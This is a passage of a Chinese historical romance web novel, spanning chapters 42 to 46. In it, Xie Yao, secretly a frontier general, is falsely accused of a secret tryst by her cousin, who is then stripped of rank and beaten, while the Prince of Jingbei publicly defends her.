那一年,才十五岁的王爷承袭爵位,披甲上阵,第一件事,就是请旨领兵奔赴虎啸关,将西戎人杀得丢盔卸甲,报了老侯爷的仇。 即便如此,王爷仍是张扬不羁的,燕国的百姓也歌颂着他,就像歌颂大将军。 直到五年前皇帝登基,王爷奉旨平乱,亲自砍掉了四位亲王的头颅,屠杀半城乱军。 从此,世上没有靖北侯了,只剩下让百姓闻风丧胆…… 靖北王! 王爷为大燕鞠躬尽瘁,可如今他身体残疾,居然有人说,是他作孽太多,遭了报应。 白蔹无数次想替王爷怒斥那些人,想告诉他们,没有靖北王,西戎早就攻破虎啸关,乱军早就杀到京城了,哪有京中的歌舞升平,安居乐业! 而现在,在云鹤楼,他终于听见了百姓们对王爷那声迟到的…… 感激。 谢二小姐一个女子,竟然如此通透,把他想说的话,说了出来。 面对这些,箫熠之只是静静地翘起唇角。 他俊美的眉眼里,隐约可见昔日京城桀骜世子的影子。 “不过,谢二小姐确实是有些残暴,看那陆公子,牙都被打掉了,当真可怜。” 给靖北王上菜的是云鹤楼的主厨,随口感叹。 箫熠之桃花眸一眯,声音冰冷似寒潭:“他是负心寡义的东西,更是辱骂本王的罪人。你觉得他可怜?你是也想做负心汉,还是内心在咒骂本王?” 森冷的杀意,将主厨吓得浑身发抖,他霎时跪了下去。 “王爷恕罪,小人不敢!” 这时,陆慎言的书童挤进人群:“少爷,少爷您怎么样?” “我在这儿……疼……” 陆慎言捂着脸,半死不活地蜷在地上,只能发出“呜呜”的声音,示意自己还活着。 片刻后,他被书童费力地拖走了,要不是大家不舍得浪费粮食,都想往他身上丢臭鸡蛋或者剩菜。 蒲苇望着陆慎言的背影,回过头,向谢窈行礼。 替她赎身的良人,正是眼前的谢二小姐。 昨日,谢二小姐找上醉雪楼,跟老鸨花费百两银子为她赎身后,还送了她几身衣服,胭脂水粉,一大包银两。 这些东西,足够她很长一段时间衣食无忧。 谢二小姐说,她知道她和陆慎言的关系,希望她能助自己看清这个男人的真实面目。 蒲苇在醉雪楼多年,见惯了世态炎凉,曾经,她确实对陆慎言有几分情意,但既然收了谢二小姐的银两,陆慎言不仁,就别怪她不义了。 谢窈也放下刀,对蒲苇微微颔首。 她昨天特意甩掉跟踪之人,去了一趟醉雪楼。 但其实,她并没有让蒲苇做什么,而蒲苇,也没说自己会来做什么。 然而,两人只需一个对视,就明白了彼此的心思。 热闹结束了,围观的众人正要散去,就听到一声暴喝:“好你个谢窈,光天化日朗朗乾坤,你竟敢与外男在此私会,真是丢尽了我文昌伯府的脸!” 谢窈听到熟悉的声音,刚压下去的唇角,又扬了起来。 这一出戏,真是你方唱罢我登场,听堂兄的声音这么生气,看来忍冬是把他气到了。 谢成榆气喘吁吁地赶来,他身后,除了两名伯府家丁,还跟着三个身穿软甲的京畿营将士。 “我谢成榆身为你兄长,决不能坐视你做出这等败坏门风,不义不悌之举!” 他说完,却发现事情不太对。 想象中随着自己一声大吼,围观百姓将谢窈团团围住,对她各种讥讽的情景,并没有出现。 谢窈没有惊慌失措,更没向他跪地磕头。 她和一名绿裙女子坐在一桌,平静地转身,看着他。 像看傻子。 谢成榆猛地看向其他人,发现那些围观之人,看他的眼神…… 也像看傻子。 第42章 堂兄污蔑私会男子? 谢成榆余光四处寻找。 陆慎言那小子呢? 他正要抓个人问问发生了什么,三名手下和两个府中家丁,就将谢窈围住。 几人按照之前设想的情形,一阵指指点点。 “呦,这不是谢家二小姐吗,身为闺阁女子,不好好待在家中恪守妇道,居然与野男人幽会,真是让人长见识啊。” “李曲长说的对,谢二小姐,你可是靖北王的待嫁王妃,做出这种伤风败俗的事,实在是让伯府蒙羞。” “世风日下,人心不古啊!” 说话的三个都是京畿营的兵卒,昨天,谢校尉让他们做捧哏,管教与外男私通的堂妹,他们毫不犹豫就来了。 虽然中途出了点差错,先是校尉自己和他另一位堂妹被人当成私定终身,然后急匆匆地来到这里,没看见校尉口中的外男,却看见两名女子。 但这不妨碍他们眨着眼睛说瞎话,做实谢窈与人私会。 谢窈眯起眸子,越过几人,看向外面。 云鹤楼门口,拴着几匹战马。 “堂兄,你莫不是……带来了一群傻子?”谢窈端坐在椅子上,清眸冷冽。 谢成榆扯开没用的手下,挺直胸膛,摆出了长辈的架子。 “窈儿妹妹,在为兄面前,你就不要再装了,为兄已经知道,你与陆慎言约定在此私定终身,既然敢做,你就要承认。” 蒲苇把谢窈护至自己身后:“你是什么人,胡说八道些什么,刚才分明是谢家二小姐替我出头,惩治了陆慎言那个负心汉。” 谢成榆见她穿着平平,猜想她或许是谢窈从哪买的侍女,不屑道:“哪来的贱婢,滚一边去,本校尉管教自己的妹妹,也轮得着你说话?” 他隐隐意识到事情不太对,但箭在弦上,不得不发。 今天就算是没有奸夫,他也要编出一个奸夫。 谢窈淡声道:“堂兄说我私会外男,有何证据?莫非是此前因为我被父亲责罚,心生怨恨,便捏造事实,报复自己的妹妹?” “还要什么证据,若非私会男子,你为何不在府中待嫁,而是青天白日出现在酒楼?” 谢窈眼神一凛:“你身为京畿营校尉,又为何不在营中值守,而是伙同军中士卒,出现在这里!” 锐利的眼神,让谢成榆有种面对京畿营统领将军的感觉,不由自主地回答:“今日休沐,我等当然可以来到酒楼。” 说完,他才意识到自己居然露了怯。 “谢窈,再狡辩下去,为兄可要失去耐心了。”他向手下使了个眼色。 “二小姐,你做出这样的事,别怪校尉如此生气。” “你身为世家贵女,独自来云鹤楼喝酒?简直可笑!” “这一桌饭菜,两个碗,还说不是来私会男子!” 围观百姓见到谢成榆自称校尉,有些不敢靠近。 但是,听到谢成榆手下如此颠倒黑白,还是有人站出来。 “几位将军,你们无凭无据,怎能平白污蔑人家姑娘清白。”一名头发花白的老者,小声替谢窈说话。 谢成榆拔出剑,剑指这名老者,眼神森然。 “谁说本校尉无凭无据?我身后这三人,不就是见证吗。” 他负手而立,语气暗藏威胁:“老先生挡在她前面,是要妨碍本校尉公干?” “堂妹谢窈勾三搭四,实在有辱门楣,只求各位不要宣扬,让本校尉带她回去,保全她的名声。” 众人腹诽道,他带兵抓自己的妹妹,算什么公干。 还求他们不要宣扬?分明是要他们跟着污蔑,把黑的说成白的吧! 只是,在谢成榆威胁的话语之下,他们也不敢反驳。 谢成榆见目的达成:“给我把这丢人的丫头带回去!” 蒲苇睁大了眼睛,一咬牙,挡在谢窈前面。 谢窈却拉住她,轻轻摇了摇头,抄起桌上的长刀,并没有站起来的意思。 “堂兄可知,我今日来此,是为了带些云鹤楼的饭菜送给靖北王,你要抓我,不怪王爷怪罪吗。”她问道。 楼上,箫熠之听到谢窈的话,勾了勾唇角。 虽然知道她只是拿自己当筏子,但是,之前,她确实给自己带了饭菜。 白蔹道:“王爷,此人应该是谢家二房长子谢成榆,是京畿大营的校尉,用不用属下出面,替谢二小姐解围?” 箫熠之正要点头,却看见谢窈拉住蒲苇的动作。 这姑娘,从来都是天不怕地不怕的,既然现在都毫无惧意,必然还有后手。 “笑话,靖北王会吃你送的饭菜?堂妹真是说谎都不打草稿,还是乖乖跟我回去,别在这里丢人现眼了。”谢成榆嗤笑讥讽。 谢窈道:“堂兄带着军中士卒,围堵我一个未出阁的女子,到底是谁在丢人现眼?” 谢成榆双目阴沉:“既然你如此顽劣,还拿靖北王当幌子,那本校尉今天就缴了你的刀,看你还敢不敢如此张狂。” 之前的白发老者劝道:“这位将军,谢二小姐是你的妹妹,你对她动粗,实非君子所为啊……” “滚!老东西,别碍老子的事!”谢成榆一把推开老者。 老者踉跄地后退,就要摔倒的时候,谢窈伸手将他扶住,让蒲苇搀扶他坐到远处。 谢成榆手下李三恶声恶气道:“二小姐别给脸不要脸,校尉给你留面子,是看在亲戚的份上,再犟下去,我们几个可要动手‘请’你了!” 说着,李三仿佛接收到了自家校尉的暗示,恶向胆边生,主动拔刀上前。 “啪!” 他还没近身,谢窈已经一巴掌下去。 李三被抽得原地转了半圈,嘴角渗出鲜血,手里的刀一个不稳,掉到地上。 谢成榆睁大眼睛,当即喊道:“死丫头,你敢对军中士卒动手?” 正当他举起剑,也要冲上去的时候,酒楼外的长街上,传来一道马蹄震动的声音! 一名身穿鎏金盔甲的男子,身骑棕红战马,风驰电掣地赶来。 男子堪堪勒住缰绳,停在了云鹤楼门口,霹雳般翻身下马。 “混账东西,给本将住手!” 远远地,他看见谢成榆居然敢对谢窈举剑,发出爆喝。 他拔开人群,冲到谢成榆面前。 没等众人反应过来,男子狠狠一脚飞踢,把谢成榆踹出三丈远,撞翻了两张桌子。 “校尉!” “大少爷!”伯府的家丁瞠目结舌,“什么人,敢伤我文昌伯府大少爷?” 另一名家丁也叫嚣:“大少爷乃京畿营校尉,你敢伤害大燕将士,来人啊,把他抓起来见官。” 谢成榆慢吞吞地从地上爬起来,呕出口血沫,看到来人后,浑身一震。 两家丁喊了会儿,发现周围格外安静。 一回头,见大少爷和他的三名军中手下,全都老老实实地跪到了地上。 “苏将军息怒!”李三的腿肚子打着颤,脑袋死死抵在地上,声音格外低哑。 “苏将军?什么苏将军?”家丁疑惑地问。 同样跪着的一个手下道:“蠢货,这是我们京畿大营的统领,虎贲将军,苏怀恩!” 第43章 革堂兄军职,求饶没用! 大燕人尽皆知,骁骑大将军顾昭棠,镇守北境,百战百胜,打到敌国退避三舍,是燕国唯一的大将军。 大将军麾下战将,有两人最为出名。 一个,是大将军的爱徒,二十万边军的少将军——顾刀。 另一个,就是苏怀恩。 两年前,京畿大营前任统领战死,苏怀恩于是被皇上召回京城,封为虎贲将军,接管了五万京畿营将士。 他这一脚下去,就把谢成榆踹得吐血。 整个云鹤楼,顿时变得落针可闻,噤若寒蝉。 谢成榆擦了擦额头的血,缓过神来,忍不住争辩:“苏将军,末将只是在管教妹妹,这是我们谢家的家事。” “不知道末将做错了什么,要被将军无缘无故折辱至此。” 他虽然跪着,但背脊梗得笔直,眼神怨懑。 谢成榆不服。 苏怀恩是正三品的虎贲将军,还是京畿大营的统领,军衔比他高许多,可那又如何?他身为兄长,管教妹妹,跟军职高低有什么关系。 苏怀恩根本没搭理谢成榆,而是看向谢窈,差点脱口而出一声“少将军”。 他定了定神,抱拳道:“北境一别两年,谢二小姐风姿依旧。” 谢窈点头:“苏将军也是。” 苏怀恩年过三十,肤色古铜,生得虎背熊腰,比在场之人都高出一大截。 他憨笑两声,露出雪白的牙齿:“前几日才知道二小姐回京了,一直没信儿,我还以为,你不认我这个大哥了。” “不认你可不行,没了你……” 听到苏怀恩自称自己大哥,谢窈顿了一下,加重“大哥”两个字:“我上哪去找这么抗事的大哥?” 苏怀恩咳了咳,脸庞有些发热,但还好他肤色黑,看不出来。 趁乱占少将军便宜,被发现了。 他虽然看着粗野,但粗中有细。 什么能抗事,刚刚少将军想说的,分明是抗揍。 在北境边军中,少将军没事就喜欢找人切磋,而他皮糙肉厚,最为……抗揍。 苏怀恩被皇帝从边关调回京城后,已经与谢窈两年未见,可是,谢窈一句抗揍,就让他隔阂全无,仿佛回到了曾经出生入死的时候。 少将军还是从前的少将军。 他这才瞥向跪在地上的几个人,反问:“家事?” 谢成榆的心已经落到谷底。 谢窈,居然管苏怀恩叫大哥? 再听到这声反问,他更是脸色惨白,不敢相信。 苏怀恩双目凌厉:“休沐之时,身披军中甲胄,擅骑营中战马,带人在闹市污蔑围堵良家女子,还欺压百姓,耀武扬威,甚至谎称是京畿营军务,你还有脸在本将面前……说、家、事?” 最后三个字,他声若洪钟,掷地有声。 三名手下吓得伏跪在地上,开始磕头认罪。 “苏将军饶命,是谢校尉,他说要给自己堂妹一个教训,是他逼我们来的!” “我等再也不敢了,求将军息怒啊。” “都是谢校尉手段狠毒,我迫于他的威胁,才会持械出营,将军绕了我吧。” 谢成榆双目赤红,恼羞成怒:“吃里扒外的奴才,本校尉看你们是不想活——” 苏怀恩不理会他们,也不等他说完,揪住他的衣襟。 “这混账东西违背军规,欺压百姓,本将今日将其革职,除名军职,杖责三十军棍,即刻起,逐出京畿大营!” 苏怀恩环视周围百姓,卸下了谢成榆的腰间佩剑,扬声道。 “好!” 之前替谢窈说话的老者喊了一嗓子。 虎贲将军看着有些让人害怕,但治军严格,行端坐正,如今还亲自来清理门户,是个让百姓称赞的好将军。 谢成榆僵在原地,没想到苏怀恩居然直接将他革职。 半晌,他压低声音,从牙缝中挤出几个字:“苏将军,属下妻子韩氏,是兵部的韩侍郎……” 苏怀恩呵呵一笑:“哦,韩侍郎包庇妹婿,罪加一等,本将要在朝会上参他一本!” 谢成榆终于慌了。 “不,苏将军,我是文昌伯府大少爷,我……我大伯是礼部侍郎,我妻韩氏是韩侍郎的妹妹,我谢成榆以后前途不可限量,你不能,你凭什么除掉我的军籍!” 他站起身,就要从苏怀恩手中夺回自己的佩剑。 “凭什么,就凭本将军是皇上亲封的虎贲将军,京畿营统领!”苏怀恩垂眸看他,眼中杀意凛然,“怎么,你威胁本将军不成,还想动手?” 谢成榆咽了咽口水,停下来。 他看出来,如果他敢动手,苏怀恩是真能杀了他! 谢成榆咬了咬牙,再次跪下,声音卑微到尘土里,和之前张狂的样子判若两人。 “将军,你饶了我这次吧,我错了,我马上就回营领罚,绝不再犯!” 他通红着眼睛,又跪行到谢窈面前,就像之前在家宴上一般。 “窈儿妹妹,为兄知道自己做错了事,你替为兄说句话,你我都是谢家人,一荣俱荣,一损俱损,咱们谢家……在军中不能没人啊。” 谢成榆平时受人吹捧,在伯府呼风唤雨,谁都不放在眼里,因为他知道,自己是谢家唯一的军中校尉,即便是大伯文昌伯,也不敢真的得罪了自己。 可如果没了军籍,他就只是文昌伯庶弟的一个儿子,这天壤之别,他怎么甘心! 谢窈只吐出两个字:“晚了。” 之前,谢成榆可以向谢明安求饶,向自己求饶,还可以让他娘向谢老夫人求饶。 可是现在,他违背军规,就是皇上也救不了他。 “你!” 谢成榆的脸一阵青白变幻,终于歇斯底里地骂起来:“苏怀恩,你算个什么东西,你凭什么把我革职,还有谢窈,你个——啊啊啊啊!!!” 苏怀恩蒲扇似的大掌,直接落到他脸上。 谢成榆惨叫着飞了出去,还想爬起来,却感觉自己脑袋充血,浑身都酸疼。 “你们不动手,是在等本将亲自行刑?” 苏怀恩对三个还跪在地上的京畿营兵卒,冷声吩咐。 “你三人戴罪之身,把他打完,就回营自己去领二十军棍,滚去辅兵营吧。” “多谢将军宽恕,我等遵命!”三人不约而同地抱拳,将谢成榆架起来,摩拳擦掌,比谁都积极。 辅兵营不算正式兵卒,不但辛苦,俸禄也微薄,但看到谢大少爷,他们却觉得苏将军很宽容了。 他们知道今日已经背叛了谢成榆,而谢成榆这个人,睚眦必报,既然如此,那还不如得罪得更彻底一些,把他打残,让他以后想报复也没地儿报复。 “放开我,你们这群狗奴才,浑蛋!放开老子,你们敢!” 谢成榆拼命挣扎,踢踹着腿,却被三人合力按住。 “谢大少,你罪有应得,就别挣扎了,再挣扎,也是自讨苦吃不是?” 李三最为主动,一记老拳砸在谢成榆头上,把他的发冠打散,一只眼睛也变成了黑眼圈。 另一人抄起棍棒,正要落下。 “住手!” 楼上,传来一声阻止。 第44章 本王就是与谢窈私会的人 说话的,是靖北王身边的侍卫白蔹。 谢窈意料之外地挑了挑眉,就看见靖北王本尊,出现在天字一号的包厢门口。 王爷今日穿着藏青绣金纹的常服,端坐在轮椅上,眉眼冷隽,面色一如既往的苍白,神情淡漠。 “靖北王?”苏怀恩自然认识箫熠之,只是没想到他会出现在这里。 他眉头微皱,与谢窈对视一眼。 随即拱手行礼:“末将见过王爷!不知王爷为何来此?” 箫熠之微微颔首,意有所指地开口:“本王,自然是受人之邀。” 谢窈的眼神闪了闪,总感觉,靖北王又在提醒自己什么。 谢成榆听到动静,趁机抬起头。 是靖北王,真是靖北王!他怎么来了? 他是收到自己的消息,来抓与陆慎言私会的谢窈的吗! 不过,抓谢窈为什么没有出现在花楼,而是出现在这里? 谢成榆正被三名手下按着,就要当众挨军棍,忽然激烈地挣扎起来。 他心中有诸多疑问,但顾不得细想,扯着嗓子喊道:“王爷,谢窈与男子私会,在此私定终身,这种人,不配进靖北王府!” “末将只是想管教她,没想到她居然叫来苏怀恩,要把我无故逐出京畿营,此二人蛇鼠一窝,仗势欺人,求王爷救我!” 他把靖北王当成了自己的救命稻草。 箫熠之按动食指,身下轮椅两侧各自多出一对光滑的扶手。 两名侍卫上前,把住扶手后,就像抬轿子,稳稳地抬起轮椅走下楼梯。 白蔹将王爷推到苏怀恩面前。 箫熠之皱起眉头,抬眼看了他一下。 白蔹面露疑惑,王爷看他干啥,他又做错什么了,不是要跟虎贲将军说话吗? 箫熠之抠了抠手指,平静的决定:从此出门,绝不带白蔹!!! 他面无表情地微绷手臂,转动轮椅,保持着云淡风轻的姿势,直到……挪到谢窈面前。 他这才开口,声音不高不低,恰好让周围的人都能听见: “本王就是那个与谢二小姐私会的男子,不用私定终身,谢二小姐,已经与本王有秦晋之好。” “什,什么?”谢成榆僵住,完全没想到靖北王会这么说。 谢窈的脸一热,很快反应过来,点头称是:“我都说了,我是来云鹤楼给王爷带饭食的,堂兄偏不信。” “不可能,不,王爷你不能替她遮掩,她分明收了陆慎言的信!王爷你不能不管我,我……我们好歹也是一家人,我是谢窈的兄长啊!” 李三又用力踹了一脚:“谢大少,你就闭嘴吧,有你这种谋害妹妹的兄长吗?还敢质疑王爷,你算什么东西!” 谢成榆几欲吐血,不甘心地问:“那王爷刚才为何要让他们住手?” 谢窈也扬眉,饶有兴趣地等靖北王回答。 箫熠之:“滚出云鹤楼,别脏了本王的眼。” 他深邃墨色的桃花眸含着笑意,又轻声问谢窈:“不是说给我带吃食吗,这次,谢二小姐点了什么菜?” 见他们还愣着,白蔹道:“听不懂吗,住手的意思不是不打,而是别在云鹤楼里打,少在王爷王妃面前碍眼!” 要不是为了谢二小姐名声着想,不能太过仗势欺人,他都想大喊一声,云鹤楼乃萧家产业。 苏怀恩下令:“在外面动手,不要打扰云鹤楼的食客。” 谢成榆浑身颤抖,质问道:“苏将军,做人留一线,日后好相见,就算我违背军令,既然已经把我逐出京畿营,为何还要打我军棍!” 苏怀恩一字一顿:“三十军棍,一棍都别少。” “谢窈,我可是你堂兄,你如此算计我,传出去,谁不说你是没家教的疯妇,谁敢娶你!” 谢窈语气轻松:“王爷娶我啊。” 箫熠之唇角的笑容加深了些许,桃花眸却眯起来,幽深莫测。 “把这东西拉到东西六街转悠着打吧,让京中百姓都瞧瞧,这就是污蔑本王与王妃清名的下场。” 一句话,让云鹤楼内乌泱泱围观的百姓胆寒,更让谢成榆彻底绝望。 完了,他心里只剩下这两个字。 被革职,除去军籍,他或许还能发奋读书,弃武从文,再考取功名。 但是被拉着“游行”,他以后就是全京城的笑柄,这辈子仕途都无望了! 只有白蔹腹诽:王爷,您还有清名吗。 直到被拖走,谢成榆忽然歇斯底里:“靖北王,你滥用职权,以权谋私,残害军中校尉,不怕被皇上问罪吗,我要上告皇上,我要上告皇上!” 白蔹嫌弃地捡起地上他跑掉的靴子,堵进他嘴里。 箫熠之平淡地自言自语:“他想告诉皇上。” 众目睽睽之下,白蔹以手作刀,放在自己脖子上比划:“属下帮王爷料理?” 箫熠之摇了摇头,笑了,笑得桀骜,邪佞,让谢窈想起北境有种狡黠残忍的野豹,捕猎时从不急着下口,总爱将猎物逗弄够了,才慢条斯理地享用。 他特意侧头,对着谢窈,缓缓说:“本王,会帮他告诉皇上。” 在场的所有人,不约而同打了个冷战。 靖北王果然比传闻中还要残忍无情,这东西六街游行似的打一顿,让谢家大少爷身败名裂,简直比杀了他还狠,也难怪谢大少发疯,还以皇上威胁。 偏偏,靖北王根本不将名声与威胁放在眼里,甚至,他还要主动将这件事上告皇上! 真是个疯子! 只有谢窈,眼睛亮了亮。 她家靖北王,比预想中的还要有趣。 箫熠之目光落在苏怀恩和蒲苇身上,只是看了两眼,就没了兴趣。 他知道谢窈身上有秘密,但他不在乎。 谢窈以为,靖北王至少会问她和苏怀恩的关系,她打算说自己与老苏是军中同僚,以前在北境的旧识,也不算骗他。 箫熠之却并没有提这些,而是忽然凑近。 他与她对视着,勾唇道:“今日与谢二小姐私会不爽,改日本王再来登门拜访,你我重新私会。” 这种叛经离道的话,在箫熠之嘴里说出来,居然一点也不违和,在她意料之外,但情理之中。 “好,那我就在家中静候王爷了。”她弯眸应道。 谢窈有预感,自己嫁给箫熠之后,他们,一定会成为大燕百姓眼中第一杀人如麻,阴险狡诈的夫妻。 白蔹推着箫熠之要走,她叫住道:“王爷气色比之前好多了,还是要多吃些好吃的,我点了鱼汤,估计刚烧好,王爷派人去后厨取走吧。” 虽然鱼汤是给母亲要的,但送给他也无不妥。 箫熠之的轮椅停了下,白蔹进到云鹤楼后厨,等鱼汤做好才端走离开。 马车内,白蔹一上车,箫熠之就接过汤盅,想了想,觉得在车内喝汤有失体面,才吩咐:“马车行得快些。” 白蔹:“王爷,这鱼汤没什么稀奇的,都是自家东西。” “你下车。” “啊?现在啊?” “现在,”箫熠之一脸冷漠,“将今天的事调查清楚……方便本王一五一十地告诉皇上。” 云鹤楼里,围观的人散去,蒲苇去柜面,再要了一份鱼汤。 谢窈的面前,只剩下苏怀恩。 第45章 二十万边军少将军,堂兄卖惨 上辈子,谢窈回京后,苏怀恩借妹妹苏檀与谢枝交好为由,来谢家拜访。 当时她被谢明安罚跪祠堂,并没有见到他。 之后,谢窈也未再主动联络。 但是这次,知道谢成榆要带人诬陷她私会男子,她提前让忍冬,去京畿营见了苏怀恩一面。 苏怀恩是京畿营统领,惩治谢成榆这个营中校尉,理所应当。 “少将军,就是您不让忍冬姑娘找我,我也快憋不住去找您了,您之前一直不联系,我以为……” 苏怀恩眼神有些复杂。 他如今毕竟在京中当差,已经离开边军两年。 少将军先前许久没联络他,让他胡思乱想,不知少将军还当不当他是兄弟。 谢窈看出苏怀恩眼中忐忑,一拳砸在他胸口:“刚才不是还当众说是我大哥,现在没人了,怎么反倒吞吞吐吐的。” 老苏虽然比她大不少,早已娶妻生子,但北境边军向来实力为尊,他与自己单挑,屡战屡败,平时都乖乖喊她少将军,也就在梦里敢自称两句大哥。 所以他见面就喊大哥,分明是趁机占她便宜。 “少将军的力气还是这么大,”苏怀恩被捶得踉跄两下,疼得呲牙,心里却很高兴,“京城是我的地盘,您还不让我占些便宜了?” 他嘿嘿一笑:“少将军放心,既然这声大哥您叫了,谢成榆这小子就包在我身上,我今天非得打断他两条腿不可。” “他违背军规,被革职除名是活该,但是——”谢窈说道:“你若把他腿打断了,就成仗势欺人了。” 苏怀恩露出憨憨的笑容,拍着胸脯:“末将不怕!我要不能仗势欺人,护住少将军,又何必做这个三品虎贲将军。” 谢窈却摇头:“若你为我对谢成榆下狠手,恐怕会让皇上怀疑我身份,也会牵扯到大将军。” 皇上选她赐婚,就是因为谢家清贵无权,不会增强靖北王的势力,如果知道她是边军少将军,恐怕会收回赐婚。 不过,等成亲后,木已成舟,到时皇上就算知道她身份也无可奈何,总不能再圣旨叫他们和离。 其次,若皇上发现她还能号令苏怀恩,也会怀疑大将军有不臣之心。 “是末将思虑不周。”苏怀恩眼神一凛,反应过来。 他差点忘了,当初大将军是身为镇远侯世子,被先帝下旨镇守边关,从此立下无数战功,被封为大将军。 换言之,先帝当年把大将军丢到北境,是让他去做吉祥物的,没想到大将军太能打,十几年来立下无数战功,不封赏实在说不过去。 即便如此,大将军也至今未娶妻生子,才能一直手握重兵。 而少将军的身份,在朝堂上那些朱紫公卿眼里,是大将军捡来的徒弟,出身卑微,上不得台面,就算同样战功赫赫,以后也只是个镇守边关的寻常将领。 只有他们军中,信服谢窈,认她为二十万镇远边军的继承人。 如果皇上知道他替少将军做事,他被苛责是小,引起皇上对少将军和大将军的猜忌是大。 怪不得少将军一直不联系他,原来是因为这个。 “再者,”谢窈眼神深了深,“谢成榆的腿要是被你打断了,是给你平白惹身腥,被他自己弄断了,才叫痛快。” 苏怀恩点了点头,确定谢窈还有后手,他就放心了。 “那末将告退,等少将军与靖北王大婚之时,末将必携妻子舍妹,一起为您祝贺。” 他又说:“少将军,就算我与您结交会让皇上猜忌,我也不后悔。以后,只要您开口,我仍旧会像今天这样前来报效,绝无二话!” “咱们之间,无需说这些。” 谢窈拍了拍他的肩膀,提醒道:“你既然已经被召回京,做了京畿营统领,证明皇上是信任你,信任苏家的,不用想太多,勤勉谨慎些做事即可。” 苏怀恩啧了声:“谨慎嘛,这我明白,谢成榆妻子的兄长是兵部韩侍郎,我就等着看韩侍郎,敢不敢为他妹婿给我穿小鞋。” 谢窈微微一笑:“放心,韩侍郎以后,不会再认谢成榆这个妹婿了。” “哦?” 苏怀恩挠了挠头,忍不住问:“不过,我还是不明白,谢成榆怎么能自己弄断自己的腿呢?” …… “腿,我的腿好疼,好疼!谢窈……苏怀恩,今日你们辱我至此,我死也不会放过你们……你们等着!” 李三和两名家丁搀扶着谢成榆,把他送回了伯府。 之前,三名京畿营兵卒听从苏怀恩军令,打他三十军棍,又被靖北王下令,这三十棍,要绕着京城东西六街最热闹的地方打。 一开始,谢成榆还强装镇定。 不到一会儿,面对无数京城百姓的兴奋围观,指指点点,他就崩溃了,眼泪鼻涕一起流。 到最后,谢成榆已经风度全无,瘫在地上半死不活。 中途李三接到虎贲将军的暗示,并没有给谢成榆下死手,再加上他身体强健,三十棍之后,虽然皮开肉绽,但还不至于被打死。 路上,谢成榆得知,陆慎言也被谢窈揍了一顿,同样名声尽毁。 据说牙都被打掉了几颗,是昏死过去被人拖走的。 知道陆慎言比自己更惨后,谢成榆心里忽然好受了许多。 所以现在,他缓过来了,不停咒骂着谢窈和苏怀恩。 他是谢家大少爷,他还有爹,还有文昌伯的大伯,还有妻子,他大舅哥是兵部侍郎韩思齐,年纪轻轻就位高权重,是与大燕第一才子裴隽并列的青年才俊! 兵部侍郎,可不是大伯礼部侍郎那样的清闲官职。 何况,早有人说过,以后大舅哥就是兵部尚书,统领大燕军事,说不定能与那裴隽并争丞相之位。 到时候,苏怀恩算个屁! 至于谢窈,她还没嫁给靖北王呢,她能让苏怀恩时刻守着?还是叫靖北王日日护着? 只要她人还在伯府,就翻不了天! 谢成榆刚回到伯府,衣裳都没换,就强撑着身体,去找自己的爹谢明守。 二房夫人也在,看见他,心都碎了,抱着大哭起来。 谢成榆虚弱地坐着,一边接受母亲的安慰,一边呕血。 他背过身,露出被鲜血染红的后背,痛哭卖惨:“父亲,母亲,儿子实在不甘心,都怪谢窈,都是这个贱人害的,儿子前途尽毁,以后该怎么办啊!” 谢明守见儿子被打成这样,咬紧了牙关。 “这个灾星,自从她回京,家中一日不宁,还害了你……她到底还是我侄女,是伯爷的女儿,我就不信,今天我管教不了她!” 说完,他前往大哥谢明安的书斋。 伯府内,一直等着二房动静的七两,看见谢二爷的动向,立即回了晚香院。 “二小姐,二爷去见伯爷了,伯爷怕是要向您问罪。” 她神情没有任何变化,淡声道:“哦,让我想想,该怎么问罪。” 不多时,文昌伯的声音在外面响起来:“逆女,给本伯滚出来,看你干的好事!” 第46章 真正的灾星,还敢喊冤? 谢窈坐在屋内,充耳未闻。 见她不出来,文昌伯和谢家二爷兄弟俩,气势汹汹地闯进屋子。 谢明安手里,更是攥着一根拇指粗的鞭子。 却见谢窈捧着手炉,正悠闲地翻看一卷兵书。 “好你个灾星,你害得成榆前途尽毁,还有脸坐在这里当无事发生!”谢二爷怒道。 谢明安也面容阴寒:“逆女,没听到本伯和你二叔的话吗,还不跪下认错!” 谢窈放下兵书,拎起桌边长刀。 霎时间,谢明安和谢明守同时后退了两步,眼中满是警惕。 院里,两人带来的一队护院家丁则持棍棒上前。 “父亲和二叔怕什么,我还能杀了你们吗?”谢窈将刀按在桌上,戏谑反问。 “大哥,你看这个灾星,做出这种事……她居然还如此嚣张!”谢二爷满眼愤恨。 谢明安惊疑未定,正准备怒斥,就听谢窈不紧不慢地开口: “谢家是有灾星,但不是我,而是谢成榆。” 字句清晰,掷地有声。 “胡说!”谢二爷大喝,“我儿一表人才,年纪轻轻就当上军中校尉,又迎娶了韩侍郎的妹妹为妻,假以时日,那虎贲将军算得了什么,分明是你戏弄于他,让他失去军职,丢尽脸面,把他害了!” 谢窈面不改色:“原来堂兄是这么跟二叔说的,是我,害了他吗?” 谢二爷恨道:“自然是你害的!成榆只是和几名军中兵卒去酒楼喝酒,不是你在虎贲将军面前告状,他怎会被革职,还被当众打了军棍,你怎能对自己堂兄下此毒手啊!” “二叔可知,堂兄今日去云鹤楼,是要诬陷我私会外男。”谢窈看着二叔问道。 谢二爷眼神闪烁两下,道:“还不是你去见靖北王,行迹鬼祟,成榆是觉得蹊跷才会去找你,何谈污蔑。” 谢明安也附和:“你二叔已经跟本伯解释,这不过是个误会,成榆是你堂兄,他关心你,你却抓住他的错处不放,难道,你自己就没错?” 谢窈问:“父亲仅听二叔一人之言,就断定错在于我?” “莫再狡辩,”谢明安摇了摇头,“你既然是和靖北王见面,何必偷偷摸摸,要是光明正大,能出现这种事吗。” 谢窈“呵呵”一笑,望着她爹的双眼,目光锋利如芒:“若是我告诉父亲,我与靖北王在云鹤楼是巧遇,王爷还告诉我,他其实是被堂兄寻来捉奸的呢!” 这话,宛如一声惊雷,落到屋内。 谢明安脸色一变:“你们退下!” 家丁们都退到外面,顺势关上房门。 谢明安这才看向谢二爷:“你怎么没告诉本伯,靖北王是成榆寻来的?” “大哥,我不知道啊!” 谢二爷立即否认,又阴恻恻地盯着谢窈。 “侄女,话可不要乱说,我已经差人打听过,在云鹤楼,靖北王亲口承认,是他约了你见面,这才还了你的清白,和成榆有什么关系。” 谢窈正色道:“那不过是靖北王给谢家的体面罢了,二叔还真信啊。” “二叔要是觉得晚辈说谎,不如回头亲自去问问王爷,究竟是怎么回事。” 其实,她不确定靖北王来云鹤楼,究竟是谢成榆派人通知的,还是巧合。 前世在花楼,她没有见到他。 但靖北王出现后的第一句话是:他受人之邀,似乎意有所指。 